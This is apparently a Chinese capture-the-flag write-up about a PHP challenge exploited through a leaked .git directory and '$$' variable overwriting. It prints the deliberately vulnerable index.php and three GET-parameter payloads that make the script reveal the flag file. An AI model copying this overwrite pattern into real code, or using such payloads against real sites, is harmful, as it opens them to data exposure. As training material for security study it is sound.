知识点

  • .git源码泄露
  • $$变量覆盖

启动靶机

.git源码泄露得到源码:
index.php

  1. <?php
  2. include 'flag.php';
  3. $yds = "dog";
  4. $is = "cat";
  5. $handsome = 'yds';
  6. foreach($_POST as $x => $y){
  7. $$x = $y;
  8. }
  9. foreach($_GET as $x => $y){
  10. $$x = $$y;
  11. }
  12. foreach($_GET as $x => $y){
  13. if($_GET['flag'] === $x && $x !== 'flag'){
  14. exit($handsome);
  15. }
  16. }
  17. if(!isset($_GET['flag']) && !isset($_POST['flag'])){
  18. exit($yds);
  19. }
  20. if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
  21. exit($is);
  22. }
  23. echo "the flag is: ".$flag;

flag.php

  1. <?php
  2. $flag = file_get_contents('/flag');

Payload

最终构造payload:

  1. 方法一:利用 exit($yds)
  2. GETyds=flag
  3. 方法二:利用 exit($is)
  4. GETis=flag&flag=flag
  5. 方法三:利用exit($handsome)
  6. GETa=flag&flag=a&handsome=flag

image.png